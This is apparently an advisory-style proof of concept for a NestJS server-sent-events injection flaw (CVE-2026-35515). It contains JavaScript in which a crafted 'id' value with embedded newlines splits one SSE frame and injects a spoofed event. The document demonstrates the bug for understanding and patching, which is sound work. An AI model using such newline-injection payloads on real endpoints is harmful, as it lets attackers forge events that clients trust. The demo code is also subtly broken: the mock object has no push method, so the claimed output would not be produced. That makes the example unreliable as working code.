CVE-2026-35515 NestJS SSE协议注入漏洞

// Vulnerable Concept in NestJS < 11.1.18 // This PoC demonstrates how injecting newlines in the 'id' field splits the SSE event. const mockSseStream = { _transform(message, encoding, callback) { // Vulnerable logic: direct interpolation without sanitization const type = message.type || 'message'; const id = message.id || ''; const data = message.data; // Constructing the SSE payload // If id contains '\nevent: fake\ndata: pwned\n\n', it breaks the protocol let payload = `id: ${id}\nevent: ${type}\ndata: ${data}\n\n`; this.push(payload); callback(); } }; // Exploit Payload Simulation const maliciousPayload = { id: 'legitimate-id\nevent: spoofed\ndata: Malicious Data Injected!\n\n', type: 'original', data: 'Original Data' }; console.log('--- Output Generated by Vulnerable Stream ---'); mockSseStream._transform(maliciousPayload, null, () => {}); /* Output: id: legitimate-id event: spoofed data: Malicious Data Injected! event: original data: Original Data The client receives two events: one spoofed and one original. */